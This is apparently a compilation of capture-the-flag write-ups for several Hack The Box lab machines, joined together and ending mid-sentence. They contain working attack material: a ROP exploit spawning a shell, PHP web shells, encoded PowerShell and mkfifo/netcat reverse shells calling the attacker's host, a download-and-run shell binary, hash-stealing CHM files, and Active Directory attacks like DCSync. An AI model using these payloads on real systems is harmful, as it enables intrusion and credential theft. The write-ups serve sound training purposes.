It says the binary running on port 1337 can be downloaded from the web server. Let’s download
and analyze it before proceeding.
Exploit Development
On running the binary, we see that it just echoes back the input. Let’s open it up in GDB to look at
the functions.
We’ll use the GEF plugin with GDB. Use the following command to install it locally.
Page 4 / 19
Once installed, open the binary in GDB.
Apart from the default functions, we see that the binary has imported the system() function, which
will help us execute system commands. The binary also uses the gets() function which is
vulnerable to buffer overflows. There are two user defined functions where main is the default
starting point, along with an additional function test(). We can look at the binary protections using
the checksec command.
As NX (No-eXecute) is enabled, we’ll have to use a ROP ( Return oriented programming) based
approach to exploit the buffer overflow. Let’s look at the disassembly of the main function.
Page 5 / 19
We see that the binary loads a buffer [rbp-0x70] i.e 0x70 bytes in size into rax and then moves it
to rdi. The 64 bit assembly uses registers for calling functions. The RDI register is used for the
first argument, RSI for the second, RDX for the third and so on. RDI is loaded with a buffer of size
0x70 i.e 112 bytes, the binary calls gets() to save user input into it and then uses puts to print the
contents of the buffer. So, ideally we should be able to overflow the buffer with input greater than
112 bytes. Let’s try sending 120 bytes and check if we could overwrite RBP.
First create an input of 120 bytes, where the first 112 bytes are A’s and the rest 8 are B’s.
Page 6 / 19
From the output we see that RBP contains “BBBBBBBB” which means we can overflow the buffer
with 120 bytes. We can now control RIP with the bytes after 120.
The function moves RSP to RDI and jumps to the address present in R13.
We can use this to our advantage by setting R13 to the address of the system() call. RSP points to
the top of the stack, which can be controlled by our input. As mentioned, x64 uses the RDI
Page 7 / 19
register for the first argument. This will let us place the address to “/bin/sh” in RDI and then jump
to the system call using R13.
To place the address of the system call into R13 a “pop r13” gadget is needed. The POP
instruction moves the top of the stack into the specified register. We can use ropper in order to
find such a gadget.
It found a gadget for “pop r13; pop r14; pop r15; ret;” at the address 0x0401206. We can now start
creating our ROP chain using pwntools.
'''
0x0000000000401206: pop r13; pop r14; pop r15; ret;
'''
pop_r13_junk_junk = p64(0x401206)
'''
0x000000000040116e <+15>: call 0x401040 <system@plt>
'''
system = p64(0x40116e)
Page 8 / 19
print chain
This is the first part of the chain, where we pop the address to the system call into the R13
register. Additionally, there has to be some junk on the stack to pop into the R14 and R15
registers, for which the script uses B’s and C’s. Run the script, directing the output to a file, and
then use GDB to send this as input to the binary.
The program crashes and we’ll see the desired address present in R13, as well as B’s and C’s
present in R14 and R15 registers respectively.
After placing the address into R13, we can call the test function. The test function moves the
address for RSP to RDI. We can place “/bin/sh” into RSP so that it’s copied to RDI, and then
system is called with RDI as the argument.
'''
0x0000000000401206: pop r13; pop r14; pop r15; ret;
'''
pop_r13_junk_junk = p64(0x401206)
Page 9 / 19
'''
0x000000000040116e <+15>: call 0x401040 <system@plt>
'''
system = p64(0x40116e)
binsh = "/bin/sh\x00"
'''
0x0000000000401156 <+4>: mov rdi,rsp
0x0000000000401159 <+7>: jmp r13
'''
test = p64(0x401156)
print chain
The address for test can be found using objdump or GDB. We need to terminate “/bin/sh” with a
null byte as C considers strings as a sequence of characters terminated by a null byte. We place
the binsh string at the top of the stack so that it’s address gets moved to RDI.
Page 10 / 19
Execute it and redirect the output to a file again. We can add a breakpoint at the MOV
instructions to view the flow of the chain.
After the first breakpoint is hit, we can see that RSP points to the “/bin/sh” string. Now enter “si”
to step an instruction.
Page 11 / 19
We see that RDI now points to the buffer with “/bin/sh”. Stepping again the code should jump to
the system call.
The chain jumped to the system call, and GDB guessed the arguments for RDI (pointing to our
string) and RSI (pointing to the return address). RDI can be anything and is called only after
exiting.
Page 12 / 19
Foothold
The chain was successful and we were able to pop a shell. Let’s modify the script to send this
payload to the server.
p = remote("10.10.10.147" , 1337)
buf = "A" * 1
20
'''
0x0000000000401206: pop r13; pop r14; pop r15; ret;
'''
pop_r13_junk_junk = p64(0x401206)
'''
0x000000000040116e <+15>: call 0x401040 <system@plt>
'''
system = p64(0x40116e)
binsh = "/bin/sh\x00"
'''
0x0000000000401156 <+4>: mov rdi,rsp
0x0000000000401159 <+7>: jmp r13
'''
test = p64(0x401156)
Page 13 / 19
chain = buf + pop_r13_junk_junk + system + "BBBBBBBB" + "CCCCCCCC" + test + binsh
p.sendline(chain)
p.interactive()
We create a connection to port 1337 on the box and send the payload using the sendline()
function. Then the interactive mode is turned on to interact with the shell.
The exploit was successful and we were able to get a shell as the user “user”.
Page 14 / 19
Privilege Escalation
Navigating to the user’s home folder, we see a KeePass database and a few images.
We can copy our public key to authorized_keys, so that we can SSH into the box.
Page 15 / 19
We have successfully upgraded our shell.
Looking at the images we can assume that one of them is a key to the KeePass database.
Transfer all the images and KeePass database using SCP.
We can generate hashes for each image using keepass2john and try to crack them. The -k
parameter in keepass2john can be used to specify the keyfile. The following bash script will
append hashes to a file.
Page 16 / 19
keepass2john -k $i MyPasswords.kdbx >> hashes
done
We can use John The Ripper along with rockyou.txt to crack the hashes.
The password was cracked as “bullshit”. But we don’t know the name of the keyfile this is valid
for. We can create a script using kpcli to find the image. Kpcli is a command line interface for
KeePass and can be installed using apt.
The following script will try to open the db using each file and returns the filename if the exit code
is equal to 0 (i.e. success).
#!/bin/bash
Page 17 / 19
if [[ $? -eq 0 ]]
then
echo "Key: $i"
break
fi
done
The password is echoed through stdin, while output and errors are directed towards /dev/null. If
the exit status is 0, the script breaks and prints the key.
The key is found to be IMG_0547.JPG. This can be used with kpcli to open the database.
Page 18 / 19
Upon entering, we see an item named “MyPasswords”, getting into it and listing again an entry
for root password is present. This can be viewed using the show command. We can now use the
root password to su and get the flag.
Page 19 / 19
Sauna
29th April 2020 / Document No D20.100.65
Difficulty: Easy
Classification: Official
Synopsis
Sauna is an easy difficulty Windows machine that features Active Directory enumeration and
exploitation. Possible usernames can be derived from employee full names listed on the website.
With these usernames, an ASREPRoasting attack can be performed, which results in hash for an
account that doesn't require Kerberos pre-authentication. This hash can be subjected to an
offline brute force attack, in order to recover the plaintext password for a user that is able to
WinRM to the box. Running WinPEAS reveals that another system user has been configured to
automatically login and it identifies their password. This second user also has Windows remote
management permissions. BloodHound reveals that this user has the DS-Replication-Get-Changes-
All extended right, which allows them to dump password hashes from the Domain Controller in a
DCSync attack. Executing this attack returns the hash of the primary domain administrator, which
can be used with Impacket's psexec.py in order to gain a shell on the box as
NT_AUTHORITY\SYSTEM .
Skills required
Basic knowledge of Windows
Basic knowledge of Active Directory
Skills learned
ASREPRoasting Attack
DCSync Attack
Enumeration
Nmap
Nmap output reveals that this is a domain controller for the domain egotistical-bank.local .
Internet Information Services (IIS) and LDAP are running on their respective default ports (80 and
389), and can be enumerated further.
LDAP
Enumerating LDAP with windapsearch, we observe that anonymous binds are allowed. However,
this doesn't return any domain objects.
./windapsearch.py -d egotistical-bank.local --dc-ip 10.10.10.175 -U
We can try using Impacket's GetADUsers.py as well, but this doesn't return any useful
information either.
SMB
The smbclient utility can be used to enumerate shares. Anonymous login is successful, but no
shares are returned.
Let's proceed to examine the website.
Web
Navigating to the website in a browser reveals a website for a bank. The Wappalyzer add-on
doesn't identify any vulnerable technologies.
Scanning the website using ffuf reveals some common files and directories, but nothing stands
out as interesting.
On navigating to about.html and scrolling down, we see a section containing full names of some
Bank employees.
Foothold
We can use a tool such as Username Anarchy to create common username permutations based
on the full names. After saving the full names to a text file, we run the script.
With our list of common usernames, we can see if Kerberos pre-authentication has been disabled
for any of them. Kerberos pre-authentication is a security feature that provides protection against
password-guessing attacks. In some cases, applications require this setting to be enabled for
their service account (e.g. Alfresco). When pre-authentication is not enforced, one could directly
send a dummy request for authentication. The Key Distribution Center (KDC) of the Domain
Controller will check the authentication service request (AS-REQ), verify the user information and
return an encrypted Ticket Granting Ticket (TGT). The TGT contains material (the timestamp) that
is encrypted with the NTLM hash of the corresponding account. A hash can be derived from this,
that can be subjected to an offline brute force attack in order to reveal the plaintext password.
Using Impacket's GetNPUser, we can attempt an ASREPRoasting attack in order to extract a hash
from user accounts that do not require pre-authentication. A simple bash command can be used
to execute this attack, and iterate through the usernames in unames.txt .
Hashcat
hashcat can be used to brute force the password. We can save the hash into a file, and
determine the correct hash mode for ASREPRoasting.
We choose Kerberos 5 AS-REP etype 23 , i,e. mode 18200 . Next, run hashcat specifying this
mode and the rockyou.txt wordlist.
WinRM
With the gained credentials fsmith / Thestrokes23 we can try to login using WinRM (port
5985). Windows Remote Management (WinRM), is a Windows-native built-in remote management
protocol and it is often enabled for users that need to manage systems remotely. We can use evil-
winrm to connect to the remote system.
The script reveals that the user EGOTISTICALBANK\svc_loanmanager has been set to
automatically log in, and this account has the password Moneymakestheworldgoround! .
Examination of C:\Users\ confirms that the similarly named svc_loanmgr has logged on
locally.
The command net user svc_loanmgr reveals that this user is also part of the Remote
Management Users group. Use evil-winrm again to login as this new user.
neo4j console
Then type bloodhound to access the BloodHound UI. When bloodhound-python is finished,
compress the files into a zip and upload it.
BloodHound data consists of Nodes that represent principals and other objects in Active
Directory, and Edges, which are links representing some form of object-to-object control or
privileges. On the Queries tab, click on Find Principals with DCSync Rights . We note that
node [email protected] is connected with the EGOTISTICAL-BANK.LOCAL
node, via the GetChangesAll edge.
After right-clicking on the edge and clicking Help , we see that svc_loanmgr is capable of
dumping password hashes from the Domain Controller by using a DCSync attack.
DCSync
Impacket's secretsdump.py can be used to perform this attack.
This script will reveal the NTLM hashes for all domain users, using the replication privileges. Run
the command below to dump the password hash of the primary domain administrator.
Having successfully extracted the hash of the administrator, we can perform a Pass The Hass
attack using Impacket's psexec.py and the returned hash, and get a shell as SYSTEM.
Page 1 / 5
SYNOPSIS
Sense, while not requiring many steps to complete, can be challenging for some as the proof of
concept exploit that is publicly available is very unreliable. An alternate method using the same
vulnerability is required to successfully gain access.
Page 2 / 5
Enumeration
Nmap
Nmap reveals only a lighttpd server running on ports 80 and 443. Browsing to the website root
directory reveals a PFSense login.
Page 3 / 5
Dirbuster
Dirbuster, with the lowercase medium wordlist, finds a changelog.txt file which states 2 of 3
vulnerabilities have been patched. It also finds a system-user.txt which exposes the PFSense
login credentials as rohit:pfsense
Page 4 / 5
Exploitation
Exploit: https://www.exploit-db.com/exploits/39709/
At first, exploitation seems fairly straightforward. However after a few attempts, it is clear the
above proof of concept is not stable on this machine. Rather than using octals, it is possible to
Base64-encode some PHP to obtain a reverse shell. Note that many URL encoding tools do not
encode parenthesis and ampersands, which is required for this exploit to work.
To start out, log in as the rohit user and browse to Status > RRD Graphs, using Burp Suite to
intercept the request to status_rrd_graph_img.php.
The above request will create a writeup.php file on the target in the root of the web directory. It
accepts a single GET argument (cmd) which can be used to open a reverse shell or obtain the
flags. Successful exploitation yields access as the root user, and flags can be obtained from
/home/rohit/user.txt and /root/root.txt.
Encoded Request
/status_rrd_graph_img.php?database=queues;cd+..;cd+..;cd+..;cd+usr;cd+local;cd+www;echo+"%3
C%3Fphp+eval%28base64_decode%28%27ZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsg%2
7%29%29%3B%3F%3E">writeup.php
Decoded Request
/status_rrd_graph_img.php?database=queues;cd+..;cd+..;cd+..;cd+usr;cd+local;cd+www;echo+"<?
php eval(base64_decode('ZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsg'));?>">writeup.php
Decoded Base64
echo system($_GET['cmd']);
Page 5 / 5
Sniper
24th March 2020 / Document No D20.100.62
Difficulty: Medium
Classification: Official
Synopsis
Sniper is a medium difficulty Windows machine which features a PHP server. The server hosts a
file that is found vulnerable to local and remote file inclusion. Command execution is gained on
the server in the context of NT AUTHORITY\iUSR via local inclusion of maliciously crafted PHP
Session files. Exposed database credentials are used to gain access as the user Chris , who has
the same password. Enumeration reveals that the administrator is reviewing CHM (Compiled
HTML Help) files, which can be used the leak the administrators NetNTLM-v2 hash. This can be
captured, cracked and used to get a reverse shell as administrator using a PowerShell credential
object.
Skills Required
Enumeration
Skills Learned
LFI and RFI
PHP Session File Abuse
Malicious CHM Creation
NetNTLM-v2 Hash Capture and Cracking
Enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.151 | grep ^[0-9] | cut -d '/' -f
1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.151
The scan reveals that this is a Windows system which is running an IIS web server. Let's check out
the website in our browser.
The website belongs to the company Sniper Co. Items of interest are a login page and company
blog. The blog contains information about the website.
Foothold
Local File Inclusion
After navigating to the blog page and changing the language, we see the following URL.
http://10.10.10.151/blog/?lang=blog-en.php
Since the page uses a GET parameter to load a page it would be a good idea to test for a Local
File Inclusion. Usually we can use ../ to load files from different directories. In windows the
default web directory is C:\inetpub\wwwroot . As we are in the blog subdirectory the path
would be C:\inetpub\wwwroot\blog\ . In order to traverse up three directories and load the
Windows Initialization file from C:\Windows\win.ini we can input the following.
http://10.10.10.151/blog/?lang=../../../windows/win.ini
However, this is unsuccessful. Instead, let's try again, specifying the absolute path.
http://10.10.10.151/blog?lang=/windows/win.ini
Using Curl to load the above web page, we can view the ini file at the bottom of the page.
Session Cookie
We need to find a way to upgrade from LFI to RCE. After searching, we come across this blog
post. Let's see what the user session file contains. First of all we will have to register as a new
user, for instance Email: [email protected] / Username: guest / Password: guest and login.
The login was successful and we are presented with the following page.
We now need to find our session cookie value which is a unique identifier that PHP uses to
differentiate between users. This can be done by right clicking on the web page, clicking Inspect
Element , navigating to Storage and copying the PHPSESSID value.
PHP stores the session files in C:\Windows\TEMP in the format sess_<cookie> . In order to read
our session file we will use the session ID we acquired. In this case the session file would be
sess_923nktm0vmmi12qrptls332t5o . Let's see if we can read it.
Note: Replace everything after sess_ with your own cookie value.
In the source code we see that the session file stores our username and its length. Since we
logged in as guest , PHP created a session file and binded that session with the username
guest . This is done so that after a refresh, PHP knows if you have logged in or not.
<?=`powershell whoami`?>
The symbol ` is an alias for PHP's exec , therefore anything inside ` will be executed.
Let's register a new user with the above code as a username, and log back in. The session file
should be overwritten with the new username. We can use Curl to load the web page.
In the source code we see IUSR as the username which is the default user for IIS (when
impersonation is enabled).
Blacklisting
Attempting to create a username with specific characters such as $ is unsuccessful, which
indicates the presence of a blacklist. In order to figure out which characters are forbidden, we can
create a Python script which creates credentials with each symbol and then attempts to log in. If
the login is denied then that means that the character is forbidden. Let's script this.
import requests
import string
import random
loginurl = "http://10.10.10.151/user/login.php"
registerurl = "http://10.10.10.151/user/registration.php"
# Get all the symbols and add them in a list
characters = string.punctuation
# Pick a random number of characters to fill in the forms
rand = "A" * random.randint(1,10)
print("Blacklisted Characters: ")
# Iterate the list
for char in characters:
# Keep the single character in a variable
original = char
# Fill the username and password with letters
char = rand + char
data = {'email':'[email protected]', 'username':char, 'password':char,
'submit':' '}
r = requests.post(url = registerurl, data = data)
data = {'username':char, 'password':char, 'submit':' '}
r = requests.post(url = loginurl, data = data)
# Check if we can log in with that specific character in the username
if "Username/password is incorrect." in r.text:
print(original)
This identified that the characters "$&'(-.;[_ are blacklisted. We can use Base64 encoding to
bypass the blacklist. Let's encode the whoami command.
Shell
In order to gain a reverse shell we can upload Netcat to a writable folder. Place nc.exe in
/var/www/html on your local machine and start Apache.
Lets separate the payload into two commands, one to download Netcat onto the system and the
second to execute it. First, issue the following command.
<?=`powershell /enc
dwBnAGUAdAAgAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAzAC8AbgBjAC4AZQB4AGUA
IAAtAG8AIABDADoAXABXAGkAbgBkAG8AdwBzAFwAVABFAE0AUABcAG4AYwAuAGUAeABlAAoA`?>
After creating a new user with the above payload, and using the LFI to trigger execution of the
session cookie, our Netcat binary is uploaded to the server. Next, create the second payload.
<?=`powershell /enc
QwA6AFwAVwBpAG4AZABvAHcAcwBcAFQARQBNAFAAXABuAGMALgBlAHgAZQAgAC0AZQAgAGMAbQBkAC4A
ZQB4AGUAIAAxADAALgAxADAALgAxADQALgAyADMAIAAxADIAMwA0AAoA`?>
Create a user with the above payload and start Netcat listener.
nc -lvp 1234
After logging in again and navigating to the session cookie, we will receive a shell.
Remote File Inclusion
We can also get a shell by using Remote file Inclusion and SMB. Let's create an SMB share on our
system and place a Web Shell inside. Then we will access the web shell from the Server. Let's
begin by opening the Linux file manager, navigating to our home directory, right clicking the
Public folder, clicking on Sharing Settings and clicking on Share this folder .
Then let's create the file shell.php with the following contents.
<?=`$_GET[0]`?>
http://10.10.10.151/blog/?lang=//10.10.14.23/Public/shell.php&0=dir
The variable 0 is used to specify the command to be executed. The above payload will execute a
directory listing on the server.
Lateral Movement
Since the website provided a login functionality a good first step would be to check for any
database credentials. Navigating to C:\inetpub\wwwroot\user\ we see the file db.php , which
contains the MySQL database password: 36mEAhz/B8xQ~2VM .
more C:\inetpub\wwwroot\user\db.php
The net users command reveals a user called chris . There's a chance that the password for the
database has been re-used as his password. We can create a PowerShell credential Object and
check this.
The command output is successful. We can get a shell as Chris by uploading Netcat in his home
folder and executing it. Let's start a Netcat listener.
nc -lvp 4444
Hi Chris,
Your php skillz suck. Contact yamitenshi so that he teaches you how to use it
and after that fix the website as there are a lot of bugs on it. And I hope that
you've prepared the documentation for our new app. Drop it here when you're done
with it.
Regards,
Sniper CEO.
In order to exploit this, we can create a new CHM file containing a UNC link, that will trigger a
connection to our server on opening. This will allow us to steal the admins NetNTLMv2 hashes.
Consider the following HTML code.
<html>
<body>
<img src=\\10.10.14.23\share\abc.png />
</body>
</html>
We will place the above code into instructions.html , and use the HTML Help Workshop on a
Windows machine to compile the code. Download and install htmlhelp.exe . Next, open HTML
Help Workshop from the Start Menu and click on File -> New -> Project .
We will then be asked the folder in which the project will be saved. We can use the Desktop.
In the next window we will need to click the box to Include HTML files.
We click compile when prompted. After waiting for a while our CHM file will be created in the
same folder.
Copy instructions.chm back to our Linux machine, copy it to /var/www/html and download it
from the server.
After a few seconds, it cracks and we see the password butterfly!#1. We can use Invoke-
Command to receive a shell as the local administrator.
We receive a shell as administrator, and can access the root flag on the desktop.
Stratosphere
24th September 2018 / Document No D18.100.19
Prepared By: Alexander Reid (Arrexel)
Machine Author: linted
Difficulty: Medium
Classification: Official
Page 1 / 6
SYNOPSIS
Stratosphere focuses on the use of an Apache Struts code execution vulnerability which was
leveraged in a large-scale breach, resulting in the disclosure of millions of peoples’ credit
information.
Page 2 / 6
Enumeration
Nmap
Page 3 / 6
Dirbuster
Fuzzing finds a Monitoring directory, which redirects to a Welcome.action page. The .action
extension indicates that this is Apache Struts.
Page 4 / 6
Exploitation
Apache Struts
Exploit: https://github.com/mazen160/struts-pwn
Using the above exploit is very straightforward, however there is a fairly restrictive firewall that
prevents a basic reverse shell. Viewing the contents of db_connect in the current directory
exposes some MySQL credentials (admin:admin). Using this, it is possible to obtain the richard
user’s SSH password.
Page 5 / 6
Privilege Escalation
Examining the script shows that hashlib is imported. By creating hashlib.py in the same directory,
python will import this module instead of the real hashlib and execute the contents.
Page 6 / 6
l
Tabby
6th October 2020 / Document No D20.101.115
Difficulty: Easy
Classification: Official
Synopsis
Tabby is a easy difficulty Linux machine. Enumeration of the website reveals a second website
that is hosted on the same server under a different vhost. This website is vulnerable to Local File
Inclusion. Knowledge of the OS version is used to identify the tomcat-users.xml file location.
This file yields credentials for a Tomcat user that is authorized to use the /manager/text
interface. This is leveraged to deploy of a war file and upload a webshell, which in turn is used to
get a reverse shell. Enumeration of the filesystem reveals a password protected zip file, which can
be downloaded and cracked locally. The cracked password can be used to login to the remote
machine as a low privileged user. However this user is a member of the LXD group, which allows
privilege escalation by creating a privileged container, into which the host's filesystem is
mounted. Eventually, access to the remote machine is gained as root using SSH.
Skills Required
Web Enumeration
Linux Enumeration
Skills Learned
Tomcat Text Interface WAR File Upload
ZIP Cracking
LXD Abuse
Enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.188 | grep ^[0-9] | cut -d '/' -f
1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.188
Nmap output reveals that this is a Ubuntu server, running SSH, Apache and Tomcat on their
default ports. Let's enumerate the website titled "Mega Hosting".
http://10.10.10.194/
This a website for a company that provides hosting services. Having a closer at the website, there
is a link stating that the company has recently recovered from a data breach. The link points to
http://megahosting.htb/news.php?file=statement . Let's add this domain name to the
/etc/hosts file.
http://megahosting.htb/news.php?file=/etc/passwd
http://megahosting.htb/news.php?file=../etc/passwd
http://megahosting.htb/news.php?file=../../etc/passwd
http://megahosting.htb/news.php?file=../../../etc/passwd
http://megahosting.htb/news.php?file=../../../../etc/passwd
Of the above payloads, ../../../../etc/passwd was successful. We note that ash is a system
user.
Scanning for hidden directories reveals the well-known Tomcat /manager page.
This is a default page that allows users to manage web applications. Tomcat's manager page
requires authentication.
Attempting to log in with common credentials like admin / admin is not successful. However, if
we click cancel we get a 401 Unauthorized message. This page reveals that the credentials are
in the file conf/tomcat-users.xml .
Let's search online for the default path of the Tomcat installation, in order to check if we can
access it through the LFI vulnerability.
According to the first result, and since our instance of tomcat is version 9, the default installation
directory is /usr/local/tomcat9 . Let's combine these information and try to access
conf/tomcat-users.xml from LFI vulnerability found earlier on Apache.
http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/conf/tomcat-
users.xml
Clicking CTRL + U to view the page source doesn't show any text. Unfortunately this request
returned a blank page. Let's check if the file tomcat-users.xml is located in a different path
inside Tomcat's default installation directory.
Clicking at the first result we can see the file structure of the directory /usr/share/tomcat9 .
This reveals that Tomcat stores the tomcat-users.xml file in the directory
/usr/share/tomcat9/etc . Let's try to access this file again. This time we can see the file
contents in the HTML source code.
view-source:http://megahosting.htb/news.php?
file=../../../../usr/share/tomcat9/etc/tomcat-users.xml
The file is found to contain the credentials tomcat / $3cureP4s5w0rd123! . As the roles xml
attribute shows that this user is a member of admin-gui and manager-script . The manager-gui
role that allows access to the /manager page is not assigned.
Foothold
Let's scan this URL and see if there are any files or directories hosted there.
Wfuzz reveals the above directories. We can search online for the /manager/text interface.
This returns Tomcat's official documentation, which states that commands can be executed
through this interface.
As the Tomcat user is assigned the manager-script role, we should be permitted to interact with
/manager/text . Let's try listing the available hosts on Tomcat.
USERNAME=tomcat
PASSWORD=\$3cureP4s5w0rd123!
curl -u ${USERNAME}:${PASSWORD} http://10.10.10.194:8080/manager/text/list
This is successful. It is also well-known that Tomcat deploys Java web applications. Let's check if
we can deploy a project using the text interface.
Searching online reveals official Tomcat documentation explaining how this can be done.
According to this, it is possible to create a war file and deploy it to the server. A war file is an
archived Java application. Let's download a JSP webshell and create the war file. In order to
create a war file we can use zip .
wget
https://gist.github.com/ErosLever/7445a3cfaaf80f1f5a53/archive/f14a53bd1095a387c
063466167d49c20bb94050a.zip
unzip f14a53bd1095a387c063466167d49c20bb94050a.zip
zip webshell.war 7445a3cfaaf80f1f5a53-
f14a53bd1095a387c063466167d49c20bb94050a/cmd.jsp
Now that we've archived the webshell, let's specify the file we want to upload, set the application
name to webshell and the update value to true , and try to deploy it.
SERNAME=tomcat
PASSWORD=\$3cureP4s5w0rd123!
curl -u ${USERNAME}:${PASSWORD} -T webshell.war
http://10.10.10.194:8080/manager/text/deploy?path=/webshell&update=true
Setting the update parameter to true , makes sure that any existing project will be undeployed
before the new deployment.
The file was deployed successfully. Let's try to access it from the browser.
http://10.10.10.194:8080/webshell/cmd.jsp
This is successful. We can execute commands on the remote machine as the user tomcat . Let's
start a listener on our local machine.
nc -lvp 5555
Then try to create a reverse shell, executing the following command from the webshell.
Getting a reverse shell using the above command didn't work. Let's create a reverse shell, start an
HTTP server locally and download it to the remote machine.
From the webshell, input the following commands to download and run the script.
wget http://10.10.14.3:8000/shell-x64.elf -O /tmp/shell
chmod +x /tmp/shell
bash /tmp/shell
This is successful and we receive a reverse shell. We can now spawn a PTY shell using Python3.
We could download the zip file and try to crack the password locally. An easy way to do this is to
get a base64-encoded representation of the zip file, and decode it back on our local machine. We
use the -w0 option so that the output is returned in a continuous line.
Copy the output and issue the following command to recreate the zip file locally. Replace with
your own output as appropriate.
Now we can try to crack the zip file using fcrackzip in a dictionary attack using the
rockyou.txt wordlist. We use the option -D to specify that this will be a dictionary attack, and -
u to specify the unzip process.
su ash
This is successful and we have gained access to the system as ash . The user flag is located in
/home/ash/user.txt .
Privilege Escalation
Enumeration of the user reveals membership of the lxd group.
The lxd (Linux Daemon) is a system container manager, that controls lxc (Linux Container).
Linux Container (LXC) is a virtualization technology that runs isolated containers using a single
Linux kernel. It is possible for the user ash to create a privileged container and then use it to
mount the host filesystem. To achieve this, we can download an Alpine image, and then upload it
to the remote machine. Lets download and build the image locally. The image can be found here.
php -S 0.0.0.0:8000
On the remote machine, run the following to initiate lxd , inputting no to all prompts.
lxd init
Once the container is started, we can access it by typing the following command.
The container has been created successfully and we have root access on it. Enumeration of
/mnt/root reveals the private SSH key /root/.ssh/id_rsa . Use cat to display the contents.
cat /mnt/root/root/.ssh/id_rsa
vim id_rsa
Then we paste the key and give the appropriate permissions to the file.
Page 1 / 16
SYNOPSIS
Teacher is a "medium" difficulty machine, which teaches techniques for identifying and exploiting
logical flaws and vulnerabilities of outdated modules within popular CMS (in this instance
Moodle), enumeration of sensitive information within the backend database and leverage
misconfigurations on the operating system, which lead to a complete compromise of a system.
Page 2 / 16
Enumeration
Nmap
# nmap -sSVC -n -v -p- 10.10.10.153 -oA nmap-syn-version-script-full-tcp-10.10.10.153
[...]
NSE: Script scanning 10.10.10.153.
Initiating NSE at 09:28
Completed NSE at 09:28, 1.65s elapsed
Initiating NSE at 09:28
Completed NSE at 09:28, 0.00s elapsed
Nmap scan report for 10.10.10.153
Host is up (0.085s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Blackhat highschool
Nmap output shows that only port available is the HTTP service. The version of the web server
running is Apache httpd 2.4.25 ((Debian)). As the banner suggests, the web server is running on a
Linux Debian distribution.
Page 3 / 16
Web Enumeration
The web server is examined and a static web page is shown, describing the service as a web
portal of a school used by teachers and students. One of the announcements of the web page
that the school has implemented a new portal where students can submit their homework and
teachers could review it.
The enumeration leads to the page of the teachers, where it is visible that one of the images is
not rendered.
Further analysis to the source code shows that the link to the image is valid, but the content is not
an image; it’s actually a message from one of the users to the ServiceDesk team.
Page 4 / 16
Part of the password of the user Giovanni i s found.
A directory search to the main URL shows that the CMS Moodle is running on the web server,
reachable from the following URL:
http://10.10.10.153/moodle/
Page 5 / 16
Based on the message previously discovered, the user is able to authenticate on Moodle CMS as
user Giovanni performing a brute-force attack in order to complete the password previously
discovered.
giovanni:Th4C00lTheacha#
Page 6 / 16
Foothold
CVE-2018-1133 Exploitation
An analysis of the Moodle CMS running on the web server shows that an outdated vulnerable
module is installed. This allows an attacker to leverage the vulnerability which affects the quiz
r CVE-2018-1133. The module allows a user with role
module, also known as Evil Teacher o
teacher t o create a quiz with many types of questions for users with student r ole. In order to
prevent users with student role to cheat and share their results there will be question which
allows a user with teacher role to enter a mathematical formula along with all the other questions,
which will be then evaluated by Moodle dynamically on randomized input variables. The file
questiontype.php from Moodle uses the function eval() in order to evaluate the answer provided
for the aforementioned question, and the lack of input sanitization allows the input to be
executed by the function, resulting in a Remote Code Execution through arbitrary PHP input
code.
To be noted that the user Giovanni is found to be having the role teacher, which allows him to
create a quiz and to leverage the vulnerability in order to get a shell on the system.
Page 7 / 16
A dummy quiz is created filling all the mandatory fields.
A new calculated type question is added in order to inject arbitrary PHP code in the answer of
the question, in order to perform a Remote Code Execution.
Page 8 / 16
In the following example, the payload /*{a*/`$_GET[0]`;//{x}} is added.
Once the question has been added, the following parameter has to be appended in querystring
at the end of the URL of the quiz in order to perform a Remote Code Execution. The payload has
to be URL encoded, like in the following example:
http://10.10.10.153/moodle/question/question.php?returnurl=%2Fmod%2Fquiz%2Fedit.php
%3Fcmid%3D7%26addonpage%3D0&appendqnumstring=addquestion&scrollpos=0&id=6&wizardnow
=datasetitems&cmid=7&0=%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d
%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3
e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%34%2e%32%20%39%30%30%31%20%3e%2f%74%6d%70%
2f%66
Page 9 / 16
Database Inspection
An analysis of the config.php file within the Moodle CMS directory on the file system shows the
credentials of the backend database.
unset($CFG);
global $CFG;
$CFG = new stdClass();
$CFG->dbtype = 'mariadb';
$CFG->dblibrary = 'native';
$CFG->dbhost = 'localhost';
$CFG->dbname = 'moodle';
$CFG->dbuser = 'root';
$CFG->dbpass = 'Welkom1!';
$CFG->prefix = 'mdl_';
$CFG->dboptions = array (
'dbpersist' => 0,
'dbport' => 3306,
'dbsocket' => '',
'dbcollation' => 'utf8mb4_unicode_ci',
);
$CFG->wwwroot = 'http://10.10.10.153/moodle';
$CFG->dataroot = '/var/www/moodledata';
$CFG->admin = 'admin';
$CFG->directorypermissions = 0777;
require_once(__DIR__ . '/lib/setup.php');
root:Welkom1!
Page 10 / 16
This allows an analysis of the backend database of the Moodle CMS, which is then found to
contain what it seems to be a backup account for the user Giovanni within the mdl_user table of
the database moodle:
